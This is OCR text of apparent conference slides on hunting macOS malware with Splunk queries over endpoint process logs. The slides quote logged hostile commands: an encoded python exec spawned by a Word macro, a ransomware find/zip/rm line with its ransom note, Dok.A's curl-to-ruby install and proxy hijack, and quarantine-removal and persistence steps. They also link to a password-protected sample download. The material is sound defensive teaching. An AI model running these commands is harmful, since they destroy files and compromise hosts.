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Why hunt?

Badness hides in plain sight.
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Why this presentation?

@® www.threathunting.net/goal-index

1Yelp § Latest Posts - Old M... 3 President-Elect Tru... % quicksand.io - phist

Malware

Finding Known-Bad in Antivirus Logs

Beacon Detection via Intra-Request Time Deltas
Comparing Host Images/Memory Dumps to Known-Good Bas
RAM Dumping

HTTP User-Agent Analysis

Shimcache/Amcache Windows only

Autoruns Analysis Windows only

Windows Driver Analysis Windows only
Windows Prefetch Cache Analysis Windows only
Windows Service Analysis Windows only

Finding the Unknown with HTTP URIs

Finding Malware Process Impersonation via String Distance @ PwnieFan



This is just the beginning

Building Mac
threat hunting
resources up
to the level of
Windows will
take time.

.

BA®  Base camp &
W (5,270m/17,290f) § '
! PR\

@PwnleFan



Shoestring experiment

Process monitoring installed

Tethered cellphone modem
only connection

Time machine to
reset between
experiments

Surgically-altered Mac mini with a generic
install (wifi card removed)
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Malware samples

Download from VT (these require more care and feeding, | didn't use)
Word Macro for Mac: https://objective-see.com/blog/blog 0x17.html
https://objective-see.com/malware.html - a good collection

Mac Malware

Warning: this page contains malware & adware!

By downloading the samples, you waive all rights to claim punitive, incidental and
consequential damages resulting from mishandling or self-infection ;)

password is: infect3d

¥ download all samples & download json
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https://objective-see.com/blog/blog_0x17.html
https://objective-see.com/malware.html

Malware samples->behavior patterns

Give malware a playground, and
observe.

Look for general patterns that
indicate badness.

Thank you... for your cooperation.
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Let's go hunting

What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?

Full index of all queries at end.
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Word Macros - yes, for Macintosh

Not powershell . .. but Word is still launching
unexpected processes.
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Parent/Child relationships

_time ©

2018-01-01 15:45:48.065
2018-01-01 15:45:48.689
2018-01-01 15:49:13.522
2018-01-01 15:49:13.525
2018-01-01 15:49:15.282
2018-01-01 15:49:27.577
2018-01-01 15:49:27.577
2018-01-01 15:49:27.577

2018-01-01 15:49:27.724
2018-01-01 15:49:27.733
2018-01-01 15:49:27.735
2018-01-01 15:49:27.737
2018-01-01 15:53:02.255

ParentProcessld_decimal ‘; ProcessGroupld_decimal / TargetProcessld_decimal ‘:
132571283903920234 132571283903920234 132571786848156048
132571283903920234 132571786888001937 132571786888001937
132571283903920234 132571283903920234 132572217712228767
132571283903920234 [132572217726908832|  [132572217726908832 |
132571794330794394 132571794330794394 132572221373856163

[132572247130028463 | | 132572217726908832 | 132572247141562802
[132572247130028463 |  [132572217726908832]  [132572247156242867]
|132572217726908832 | | 132572217726908832 | | 132572247130028463 |
|132572247156242867 | | 132572217726908832| | 132572247507515829 |
[132572247507515829 | | 132572217726908832 | 132572247518001594
[132572247507515820 |  [132572217726908832 132572247516953017
|132572247507515829 | | 132572217726908832 | 132572247519050171
132572653164608379 132572653197114243 132572653197114243

CommandLine =

xpcproxy com.apple.xpc.launchd.oneshot.0x10000006.Microsoft Word

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_(
xpcproxy com.microsoft.Word.1360

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0OS/Microsoft Word

sh -c /usr/sbin/kextstat

python

python

sh -c echo "import sys,base64;exec(base64.b64decode(\"
ZFhGcHJ2¢c2dNQINJeVBmPSdhdGZNelpPcVZMYmNgqJwppbXBvenQge3NsOwppZiBoYXNhdHRyt
\");" | python &

/bin/sh -c ps -ef | grep Little\ Snitch | grep -v grep

grep -v grep

grep Little Snitch

ps -ef

/Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word
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Detecting Word Macros

What processes are typically launched by Word? And how
many?

event_platform=Mac event_simpleName=*ProcessRollup2

[search event_simpleName=*ProcessRollup2 event_platform=Mac
CommandLine="/Applications/*Microsoft Wordx*"

| fields ProcessGroupId_decimal ]
| stats values(CommandLine) as Commands, count by
aid,ProcessGroupId_decimal
| search Commands="/Applications/*Microsoft Wordx"
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Normal

134401226082739715 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_.114716 1
134399666378497255 /Applications/Microsoft Office 2011/Microsoft Word. app/Contents/Mac0OS/Microsoft Word -psn_0_69649 2
134400741634542430 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_40970 1
134395117347485261 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/Mac0S/Microsoft Word 1
134401003338317862 /Applications/Microsoft Office 2011/Microsoft Word. app/Contents/MacOS/Microsoft Word -psn_0_69649 1
133885332100853067 /Applications/Microsoft Word.app/Contents/SharedSupport/Office365ServiceV2.app/Contents/Mac0S/Office365ServiceV2 1
134396436292068266 /Applications/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_0_45067 1
133603859449293211 /Applications/Microsoft Office 2011/Microsoft Word.app/Contents/MacOS/Microsoft Word -psn_0_2163216 2

FontCacheTool /Users/williama/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice Font Cache 18 /Applications/Microsoft Office

2011/0ffice

Vs

ProcessGroupld_decimal © | Commands &

132571 7TBGE88001937  /Applications/Microsoft Office 201 1/Microsoft Word.app/Contents/Mac0S/Microsoft Word -psn_0_221238
FontCacheTool fUsers/blackwidow,/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice |

132572217726908832  /Applications/Microsoft Office 201 1/Microsoft Word. app/Contents/Mac0S/Microsoft Word
Jhin/sh -c ps -ef | grep Little\, Snitch | grep -v grep
grep -v grep
grep Little Snitch
ps -ef

A b n O r m a | E-r::uenchu “import sys,base6d;exec(basetd be4decode(y

ZFhGoHJ2c2dWOINJeVBEmPSdhdGZNelpPoVZMYmMNgJwppbXBvenQge3NsOwppZiBoYXMNhd HRyKHMNzbCwg 1 9jcr
V9" | python &

132572653197114243  /Applications/Microsoft Office 201 1/Microsoft Word.app/Contents/Mac0S/Microsoft Word
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Investigating a Word macro

For a specific machine, find out what Word launched that's
not-Word:

aid=<aid> event_simpleName=#*ProcessRollup2 NOT
CommandLine="/Applications/*Microsoft Word*" [search aid=<aid>

CommandLine="/Applications/*Microsoft Wordx*"

event_simpleName=*ProcessRollup?2
| rename TargetProcessId_decimal as ProcessGrouplId_decimal

| return 10000 ProcessGroupId_decimal]

\ By default, Splunk limits the number of items returned

from a subsearch. Depending on timeframe/host, you
may get false negatives. @PwnieFan



Investigating a Word Macro

Events Patterns Statistics (8) Visualization

100 Per Page v  “Format v Preview v

CommandLine

/bin/sh -¢ ps -ef | grep Little\ Snitch | grep -v grep

ps -ef

grep Little Snitch

python

python

sh -c echo "import sys,base64;exec(base64.b64decode(\"

ZFhGcHJ2c2dNQINJeVBmPSdhdGZNelpPcVZMYmNgJwppbXBvenQge3NsOwppZiBoYXNhdHRyKHNzbCwgJ19jecmVhdGVdW52ZXJpZmllZF9jb250ZXh0Jyk6c3NsLI9jcmVhdGVIZGYmY)

\"));" | python &
grep -v grep

FontCacheTool /Users/blackwidow/Library/Application Support/Microsoft/Office/Preferences/Office 2011/0ffice Font Cache 18 /Applications/Microsoft Office 2011/0ffice
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Rare launch agents:
list and count launch agents

event_platform=Mac event_simpleName=*ProcessRollup2

CommandLine=*LaunchAgentsx*
| dedup aid,CommandLine | makemv CommandLine delim=" "

| eval CommandLine=mvfilter(match(CommandLine, ".*LaunchAgents.x"))
| eval CommandLine=replace(CommandLine,"/Users/[a-z]1+/", "/") | eval
CommandLine=replace(CommandLine, "\"$", "")

| dedup aid,CommandLine
| stats count by CommandLine

| sort count

Bonus hint: if you want to run regularly use summary indices!
@PwnieFan



List and count launch agents

CommandLine

/Library/LaunchAgents

count

/Library/LaunchAgents/com.mackeeper.AdwareAnalyzer.plist

/Library/LaunchAgents/com.mackeeper.MacKeeper.Helper.plist

Installed by xamloader

/Library/LaunchAgents

/Library/LaunchAgents
/Library/LaunchAgents
/Library/LaunchAgents
/Library/LaunchAgents
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Apple’s quarantine attribute

Files downloaded from the
internet by most well-
behaved programs (i.e. all
major browsers) are marked
with a quarantine attribute
initially.
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Removing the quarantine attribute
(OceanlLotus.A)

S

@

©

.PTYAPPLICATION

PBOARD

©

@ ~PTYAPPLICA

TION"

@ PrTHON

©

Execution Details

@PwnieFan

Blacks-Mac-mini.jetpack

fusr/bin/python fusr/bin/xattr -d -r com.apple. | -
quarantine /Users/blackwidow/Library/Logs/.L
ogs/corevideosd

lusr/bin/python

0e43a2054d6125578371a002fa728b9434f0d2906d
178bb85fc07de4551502d8

None



Removing the quarantine attribute

event_platform=Mac event_simpleName=ProcessRollup?
CommandLine="xxattr -d -r com.apple.quarantine*" NOT
<redacted> NOT <redacted>

N/

For some queries, you will likely have
benign activity that needs to be filtered
out. Test in your environment.
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Very busy process trees

Ransomware and some installers trigger a lot processes.
Watch timeframe and/or restrict to a specific host- map
will only run 10,000 times.

event_platform=Mac event_simpleName=ProcessRollup?2

| stats count by ProcessGroupId_decimal,aid | search count>50 | map
search="search aid=%aid$
ProcessGroupId_decimal=$ProcessGroupld_decimal$
TargetProcessId_decimal=$ProcessGroupId_decimal$"

| search NOT CommandLine=<redacted> NOT CommandLine=<redacted>
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Very busy process trees

CommandLine /| SHA256HashData re

/bin/bash -c sudo -u blackwidow echo |sudo -u blackwidow 295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a

/usr/bin/ruby -e "$(curl -fsSL . .

https://raw.githubusercontent.com/Homebrew/install/master/install)" Dok.A installi ng homebrew and tor

/usr/bin/find /Users/ -not -iname README..txt -print -exec zip -0 -P 2148e42bffc611a35b8031fa663bbe944b2f67356b873e09f7fc050a2c19e7b7

te8GXwvApTLiwujFYKx6aGpgf {}.crypt {} ; -exec rm {} ; -exec touch -

mt 201002130000 {}.crypt ; Ransomware

/usr/bin/find /Users/ -not -iname README..txt -print -exec zip -0 -P 2148e42bffc611a35b8031fa663bbe944b2f67356b873e09f7fc050a2c19e7b7

te8GXwvApTLiwujFYKx6aGpgf {}.crypt {} ; -exec rm {} ; -exec touch -

mt 201002130000 {}.crypt ; Ransomware

bash -c ! pgrep -x .FS_Store && ~/Library/.FS_Store 295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a
Dok.A
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their
artifacts) live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Processes running from tmp dirs

event_platform=Mac event_simpleName=ProcessRollup2 (CommandLine="/tmp/*"
OR CommandLine="/private/tmp/*") NOT <redacted> NOT <redacted> NOT
<redacted>

CommandLine

/tmp
/tmp /Volumes/Photoshop Installer —parentPID=91971
/tmp

/tmp/

/tmp/MUaoKy -rh interesting
Iw+7XmI34XskErX70fFMjKdlaymJiVWRchIXk9rBLF6JcbAML5yNtiOCtw3swtU1WNAzPLNWUcaD8fsEzd5+eL+XoRWKppS+VGHX3/c42XxIGRqwhPwr3zbPjWiw04+DJ!
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Bundlore found while testing queries

~ ® BASH

S

® MUAOKY

"~ ® SLEEP

® XTER ® BASH

® _UPDT Q > .
::' - ®BASH T < © OPEN " ® OSASCRIPT
~ ® OPEN

" T @ BASH ~
a @ BSDTAR
~ @ OPEN

® MKDIR

" ® BASH
[ +]

osascript -e tell application "Safari® to open "/tm
p/UN7elmd17.safariextz"

/usr/bin/osascript

bb6594e2b56dd8c87f91a36cdf7923d6345¢cdB84f3a
2f8adefaed4b3bab375f8¢

None

8b2e95723cf64ef800963d1326d52238
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Processes running from /Library/Scripts

event_platform=Mac CommandLine="/Library/Scripts/*"

‘ LAUNCHD
©e

event_platform=Mac CommandLine="/Library/Scripts/*" Last 15 days v Q

| fields CommandLine

v 1 event (12/30/17 2:45:18.000 AM to 1/14/18 2:45:18.000 AM)  No Event Sampling v & 4 ® Smart Mode v
Events (1) Patterns Statistics Visualization
Format Timeline v —Zoom Out 1 day per column
]
List v #Format v 20 Per Page v
< Hide Fields = All Fields | 1'™e Event
1/4/18 { i

8:30:14.764 PM CommandLine: /Library/Scripts/installdp /Library/Scripts/queue#1 n

Interesting Fields
a CommandLine 1
== /Users/blackwidow/Desktop/macMalware/Snake/In
o 0 BASH stall Adobe Flash Player.app/install

Do —
~— 5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a06
h ‘ INSTALLDP 4e7b8b90eace8060
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Copies from tmp dirs to Users

Some false positives, but not too bad

event_platform=Mac event_simpleName=ProcessRollup2 FileName=cp
CommandLine="*tmp*Usersx"

CommandLine: cp -f /tmp/__system /Users/blackwidow/Library/LaunchAgents/systm
ComputerName:_

ConfigBuild: 1007.4.0005903.1

ConfigStateHash_decimal: 3794089932

Entitlements decimal: 15

FileName: cp

FilePath: /bin/

GID decimal: 20

ImageFileName: /bin/cp
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Chown commmands run on hidden user
dirs

event_simpleName=*ProcessRollup2 event_platform=Mac chown NOT <redacted>
| regex CommandLine="/Users/[a-z]+/\..*"

CommandLine
IR sers Y zprofie
hown blackwidow /Users/blackwidow/. U0nxlJkKPi/fstFUmMmFHWr T

l v /Users/blackw UQnxlJkKP F
D w fUsers/blacky /.UanxiJkKF P

t W sers/blacke UCnxl

bl w /Users/blackw / U0nxlJkk
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Chmod commands run on hidden user
dirs
8 hits over 15 days . . . with a lot of filtering.

event_simpleName=*ProcessRollup2 event_platform=Mac chmod NOT <redacted>
NOT <redacted>

| regex CommandLine="/Users/[a-z]+/\..*'
| table CommandLine

CommandLine

chmod g+w /Users/JJi}.install4j

chmod g=0= .’Usersr-'.cac:h e/ldapsearch

chmod g=0= /Users/ /.cache/ldapsearch

chmod 777 /Users/blackwidow/ UQnxl JKKPii/fstFUmFHWIT

chmod 777 /Users/blackwidow/ UQnxlJkKPi/UOnx JkKPI/BgHSY e kM. ELbrtQ)
chmod 777 /Users/blackwidow/ LOnxd JkKPi/UGny JkKP

chmod 777 /Users/blackwidowy UQn=l kP .
@PwnieFan
chmod 777 /Users/blackowidowy UGnxd Jkk P /1Dt




What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Long running processes with few

network connections (i.e. stealthy C2)
For one host at a time. Simple version:

event_platform=Mac event_simpleName=ProcessRollup2 aid=<aid>

| join type=outer TargetProcessId_decimal

[search event_platform=Mac aid=<aid> event_simpleName=EndOfProcess
| rename _time as EndTime
| fields aid,TargetProcessId_decimal, EndTime]

| eval duration=if(isnull(EndTime),now()-_time,EndTime-_time)

| join type=outer aid,ProcessGroupIld_decimal
[search event_platform=Mac event_simpleName=NetworkConnect* aid=<aid>
| stats count as NetworkConnectionCount by aid, ContextProcessId_decimal
| rename ContextProcessId_decimal as ProcessGroupId_decimal]

| search duration>86399 NetworkConnectionCount<5
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C2 detected

| search duration>86399 NetworkConnectionCount<5 EndProcessRecordCount=0
| fields CommandLine,SHA256HashData,duration,NetworkConnectionCount, EndProcessRecordCount

3 events (12/30/17 1:32:32.000 AM to 1/14/18 1:32:32.000 AM)  No Event Sampling v

Events (3) Patterns Statistics Visualization
Format Timeline v —Zoom Out 4+ Zoom to Selection X Deselect
List v #Format v 20 Per Page v

< Hide Fields = All Fields | " | Event

1/2/18 { [-]

4:30:47.791 PM CommandLine: /Users/blackwidow/Desktop/macMalware/Careto (Mask)/Careto
Interesting Fields EndProcessRecordCount: 0
a CommandLine 2 NetworkConnectionCount: 1

SHA256HashData: 0710bel16ba8a36712c3cac21776c8846e29897300271f09ba0a41983e370e1a0

# duration 3 duration: 982904.209

# EndProcessRecordCount 1 }
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Long running process - more complex

event_platform=Mac event_simpleName=ProcessRollup2 aid=<aid> NOT
[search event_platform=Mac event_simpleName=ProcessRollup2 (CommandLine=<your(C2>
OR ...) aid=<aid>
| fields ProcessGroupId_decimal]
| join type=outer TargetProcessId_decimal
[search event_platform=Mac aid=<aid> event_simpleName=EndOfProcess
| rename _time as EndTime
| fields aid,TargetProcessId_decimal, EndTime]
| eval duration=if(isnull(EndTime),now()-_time,EndTime-_time)
| join type=outer aid,ProcessGroupIld_decimal
[search event_platform=Mac event_simpleName=NetworkConnect* aid=<aid>
| stats count as NetworkConnectionCount by aid, ContextProcessId_decimal
| rename ContextProcessId_decimal as ProcessGroupId_decimal]
| search duration>86399 NetworkConnectionCount<5

@PwnieFan



What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware
use?

What does recon look like?

How does malware try to avoid detection?
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Process tree that contains both sh and

launchctl

event_platform=Mac aid=<aid> event_simpleName=ProcessRollup2 (sh OR launchctl)

| transaction aid,ProcessGrouplId_decimal

| search sh launchctl

® LAUNCHD
SF-] ® TERMINAL
X ® LOGIN
© ® BASH
@0 ® CALLME i
§ ® SH I=l_
= ®CP

e CP
® SH

T eSsH

@ _svsTem=

® SH

launchctl load /Users/blackwidow/library/launcha
gents/apple.plist

/bin/launchctl

9dbalcbb01bce47a9610a40cbcbc27704a754e31a8
89503eb0670c3a25f7ad72

2]

@PwnieFan
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Process trees with lots of shells

Best run for one host or a small set of hosts

event_platform=Mac event_simpleName=ProcessRollup2 (CommandLine=sh* OR
CommandLine=/bin/sh*x OR CommandLine=/bin/bash) aid=<aid>

| stats values(CommandLine) as Commands,count by
aid,ProcessGroupId_decimal

| search NOT <your(C2>

| search count>20

@PwnieFan



Process trees with lots of shells

133315478479978162 sh
sh
sh
sh
sh
sh
sh
sh
sh
sh
sh
sh

133315499701059320 sh
sh
sh
sh

-¢ fUsers/blackwidow/Library/ local/reweb &
-¢ /bin/chmod +x /Users/blackwidow,/Library/ local/EventMonitor
-t fbinfchmod +x fUsers/blackwidow/Library/ local/reweh

-¢ fbin/chmod +x /Users/blackwidow/Library/ local/update

-¢ /bin/chmod +x fUsers/blackwidow/Library/ local/updated
-c chmod -R 777 /Users/blackwidow/Library/.local

-c chmod -R 777 fUsers/blackwidow/ Library/. local/

- killall -9 update

-¢ killall -9 updated

-z mhkdir p fUsers/blackwidow/Library/ local

-& mkdir p /Users/blackwidow/Library/LaunchAgents

-z rm /Users/blackwidow/Desktop/machalware, Ventir/Ventir

-¢ fUsers/blackwidow/Library/ local/EventMonitor &
-¢ fUsers/blackwidow/Library/ local/update

-¢ fUsers/blackwidow/Library/ local/updated

-c killall -9 reweb

ry

ProcessGroupld_decimal Commands

1327756545095 74289

WILL BE AUTOMATICALLY REMOVED FR
jEMYuD006Yu00091" = ~/Desktop/__READNIE_N

sh -c echo ‘ALL YOUR FILES ARE ENCRYPTED, | AM THE ONLY PERSON IN THE WORLD WITH THE KEY THAT CAN UNLOCK THEM.\w000alF YOU NEED
PROOF, ZIP 3 OF THE ENCRYPTED FILES THEN EMAIL IT TO getwindows{@protonmail.com ALONG WITH THE SERIAL NUMBER OF ¥OUR DEVICE.\w000alF
¥OU WANT TO BUY OUR DECRYPTION SOFTWARE, TRANSFER 0.25 BITCOIN TO 11Jg5BRc2woy3CLOXzktebsJjUtBoXOsv WITHIN 7 DAYS.\u000aYOUR KEY
WILL BE AUTOMATICALLY REMOVED FROM OUR SERVER AFTER T DAY'S, THEREFORE, EVEN US CAN NO LONGER UNLOCK YOUR FILES AFTER

@PwnieFan

iBN\UO000E\L00091" = ~/Deskton/ README 1

Ventir

gh -c echo ‘ALL YOUR FILES ARE ENCRYPTED, | AM THE OMLY PERSOMN IN THE WORLD WITH THE KEY THAT CAM UNLOCK THEM.\u000alF ¥OU MEED
PROOF, ZIP 3 OF THE ENCRYPTED FILES THEW EMAIL IT TO getwindows{@protonmail.com ALONG WITH THE SERIAL NUMBER OF ¥OUR DEVICE.\u000alF
YOUWANT TO BUY OUR DECRYPTIOMN EﬁRE TRAMNSFER 0.25 BITCOIN TO 11.Jg5BRc2woy3CLOXzkteb6JjUtBoXOsv WITHIN 7 DAYS.\u0D0aYOUR KEY

M MO LOMGER UMLOCK ¥YOUR FILES AFTER

36

24

& | count

119



What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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Malware recon
Whe i the I
7

werld am
A, that's the
Once installed, malware @reat
wants to know details about
the user and host.
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Unusual number of recon commands
for the environment for 1 host

Have to exclude recon commands executed by our inventory

mgmt system - must exclude by parent process. Run over shorter
periods of time for a limited set of hosts.

event_platform=Mac event_simpleName=ProcessRollup2 aid=<aid> (networksetup OR who OR whoami OR sysctl)
| eval Joinld=ParentProcessld_decimal
| rename CommandLine as ChildCommandLine
| join type=outer aid,JoinId
[search event_platform=Mac aid=<aid> event_simpleName=ProcessRollup2
| eval JoinId=TargetProcessld_decimal
| rename CommandLine as ParentCommandLine]
| search NOT ChildCommandLine=<redacted>
| search NOT ParentCommandLine=<redacted>
| stats values(ChildCommandLine) as Commands, count by aid
I

search count>1 @PwnieFan



Unusual number of recon commands

aid © # | Commands © rd count ¢ .

0de4b7044acd448a51d8798869332162 /usr/bin/which sysctl 8
/usr/sbin/sysctl -n hw.model
/usr/sbin/sysctl -n hw.physicalcpu
sh -c sysctl hw.model|grep Mac > /dev/null Good hit: MacSpy
sysctl -n hw.logicalcpu
sysctl -n hw.physicalcpu
sysctl hw.model

whoami

3361d0b1a2de49645742eb27275069fb sysctl ye 2
Skt s False positive

¢3f35bd60519418c7472f64b9125bcasd /usr/sbin/networksetup -detectnewhardware 12

/usr/sbin/networksetup -getautoproxyurl AirCard 791L

/usr/sbin/networksetup -getautoproxyurl Ethernet

/usr/sbin/networksetup -getautoproxyurl Thunderbolt Bridge Good hit: Dok.A
/usr/sbin/networksetup -setautoproxystate AirCard 791L on

/usr/sbin/networksetup -setautoproxystate Ethernet on

/usr/sbin/networksetup -setautoproxystate Thunderbolt Bridge on

/usr/sbin/networksetup -setautoproxyurl AirCard 791L http://127.0.0.1:5555/mRIfILHC8q.js?ip=174.219.18.137
/usr/sbin/networksetup -setautoproxyurl Ethernet http://127.0.0.1:5555/mRIfILHC8q.js?ip=174.219.18.137
/usr/sbin/networksetup -setautoproxyurl Thunderbolt Bridge http://127.0.0.1:5555/mRIfILHC8q.js?ip=174.219.18.137
/usr/sbin/sysctl -n hw.cputype

networksetup -listallnetworkservices
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What does a malicious Word process look like?
What does malware do to maintain persistence?
What does malware want to hide?

What does getting a foothold look like?

Where do malware processes (and their artifacts)
live?

What does C2 look like?

What operating system features does malware use?
What does recon look like?

How does malware try to avoid detection?
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security_authtrampoline

When a process
wants to run another
program with root
privileges, it can
invoke this. In most
cases, the process
will have a dialog box
asking for the
password.
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Reminder: Don't trust malware

When analyzing
malware, always check
the process logs,
forensics or whatever
artifacts you are using.

This is what Dok.A

pops up when it works.

The file "Dokument” could not be opened.

It may be damaged or use a file format that Preview

d_’&ﬁ doesn't recognize.

Ok

@PwnieFan



Rare processes associated with
security_authtrampoline (Dok.A)

APPSTORE

@

@ BrsH
Qe

4

SHA256HashData s GPopCount ¢ .~ Total ¢ ~# perc ¢ 4
2bf2d10a7529a88d340ce0255da52dbef9873ccb44e46d23af03abf70b8e54ca 4183 1087314 0.3847095
295fbc2356e8605e804f95ch6d6f992335e247dbf11767fe8781e2a7f889978a 4147 1087314 0.3813986
83929910d3cd2c401636337fadc747a9a8eabe174bfd80f1e96b99d877ddfabe 4110 1087314 0.3779957
956f2dc7ba31663dd3a9b70e84e6a2491980165426b90cacd10db4bd010c3353 177 1087314 0.0162786
5655cch44b00724a591a882ee505dd71f70a160a3141b5b014e9¢c35eda36d095 2 1087314 0.0001839
4131d4737fe8dfe66d407bfd0a0df18a4a77b89347471cc012da8efc93c661a5 1 1087314 0.0000920

1 1087314 0.0000920

76968e472817abd68d345c48d1f4f336b45fb778ec6e0540468f229139b6e69a

.:.:«'P‘iIT)FE ' V .SH
® -

<

o @® vo

s @ uo

‘ ~AUTHTRAMPOLINE
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So just find the unique hashes?

Lots of hashes are rare over shorter periods of time. As you
increase the time period, you increase the accuracy of your
measurements, but you also increase the computational
effort required.

TL;DR Even good SIEMs run into memory constraints when

trying to run statistics on every process generated by 2,000+
machines over a day.
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Unique . .. just like everyone else

If a hash was involved in a authtrampoline event, it was probably only reported
by one agent. For 92/350 hashes, they only appeared once. Only two hashes
appeared a significant number of times (1 hash appeared 32 times, 1 hash

appeared 13 times). Need to filter on rarity in authtrampoline event AND rarity
in general population.

al Column Chart v #Format v

100

NumberOfAgentsReportingHash: 1
rd

W
=
]
L
&
e
@
o
E
E]
=

I NumberOfHashes

3 4 5 6 8 9 10 13 3
Number of times hash appeared
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Rare processes associated with security_authtrampoline
unfiltered - to play with your own thresholds

event_platform=Mac event_simpleName=*ProcessRollup2
[search event_platform=Mac event_simpleName=*ProcessRollup2 security_authtrampoline
| fields ProcessGroupId_decimal] «— Find processes that used
dedup aid, SHA256HashData security _authtrampoline
eval CommandLine=substr(CommandLine,1,100)
stats values(CommandLine) as Commands, dc(aid) as AuthtrampolineCount by SHA256HashData «——— Counttimes used per hash
eventstats sum(AuthtrampolineCount) as AuthtrampolineTotal
eval AuthTrampolinePerc=round((AuthtrampolineCount/AuthtrampolineTotal)*100,7)
join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| rare SHA256HashData 1limit=10000 by aid
| stats dc(aid) as RareGPopCount by SHA256HashData
| eventstats sum(RareGPopCount) as RareGPopTotal
| eval RareGPopPerc=round((RareGPopCount/RareGPopTotal)*100,7) ]
| join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| top SHA256HashData 1imit=10000 by aid
| stats dc(aid) as CommonGPopCount by SHA256HashData
| eventstats sum(CommonGPopCount) as CommonGPopTotal
| eval CommonGPopPerc=round((CommonGPopCount/CommonGPopTotal)*100,7)]
| fillnull value=0 CommonGPopCount
| fillnull value=0 RareGPopCount

Annotate with how
common process hash is
in general population
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Rare processes associated with
security_authtrampoline events query

event_platform=Mac event_simpleName=*ProcessRollup2
[search event_platform=Mac event_simpleName=*ProcessRollup2 security_authtrampoline
| fields ProcessGroupId_decimall]
dedup aid, SHA256HashData
eval CommandLine=substr(CommandLine,1,100)
stats values(CommandLine) as Commands, dc(aid) as AuthtrampolineCount by SHA256HashData
search AuthtrampolineCount=1
join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| rare SHA256HashData limit=10000 by aid
| stats dc(aid) as RareGPopCount by SHA256HashDatal
| join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| top SHA256HashData 1imit=10000 by aid
| stats dc(aid) as CommonGPopCount by SHA256HashData]
| fillnull value=0 CommonGPopCount
| fillnull value=0 RareGPopCount
| search CommonGPopCount<2 RareGPopCount<2
| eval Auth_Common_Rare=AuthtrampolineCount.",".CommonGPopCount.",".RareGPopCount
| fields SHA256HashData, Commands, Auth_Common_Rare
| search NOT <redacted> NOT <redacted>

@PwnieFan



Rare security_authtrampoline results

Why is Adobe rare?

Step 1: Results of query

SHA256HashData
10de32dB89435f4544bce543c836e5adb158a11805082e9f52d50df9a05bba240
111920b25a64c4ec83e41d6897db8b5e51757d91ec2¢h9004be99417c6dd68af
150c26b7c71f3c79d846ab1aaae2d39ed610e7abbf07b4cb485fed35442422d3
1927b3595a2d9f2da770266fc2500344915f12fa9bcB820ecf6bbec77947f860d
Jalc4caba038b42b1 fbfcabfibec25d307aBaf40afbe9c4B8b307372feB16Ta2f

# | Commands

/Applications/Utilities/Adobe ®pplicgtion Manager/AdobeGCClient/customhook/gccustomhook
kextstat
/Users/Shared/Battle.net/Agent/Agent.5885/Agent.app/Contents/Mac0S/Agent —adminport=1120

/Library/Application Support/Adobe/AdobeGCClient/agshelper /Library/Application Support/Adobe/AdobeG

expr 16777216/ 1024

# | Auth_Common_Rare
1,00
1,00
1,00
1,00
1,00

4131d4737fe8dfe66d407bfd0a0df1 8a4a77b89347471cc012daBefc93c661a5
T76968e472817abd68d345c48d1f4f336b45fb778ec6e0540468f229139b6e69a

/Users/Shared/AppStore.app/Contents/MacOS/AppStore
/System/Library/ScriptingAdditions/StandardAdditions.osayfContents/Mac0S/uid /bin/sh -c /Users/Share

1,00
1,00

TcOcaScbe89caa72774b9baB5aba9dbecB7502620ae39578ed1a81199b0a8eab
910bed63e44d55a3ca589ceb5f078b7a519784ab3b420622e76fa18c5024605e
9594e016de256falbdc33aa3919f5e19d733d4ddf69e6571dd76ebal0c2c4513

././dir_6018/Scripts/haxm-isRunning
Jusr/bin/users

/Applications/MAMP/Library/bin/httpd -k stop

These are Dok.A, they should be rare.

1,00
1,00
1,00

@PwnieFan



Some of these are neither rare nor
common - filter twice

Step 2: For each hash, how many
agents reported it?

SHA256HashData | UniqueAgentCount
4131d4737feBdfe66d407bfd0a0df18a4a77b89347471cc012daBefc93c661a5 +——=DoOK.A malware 1
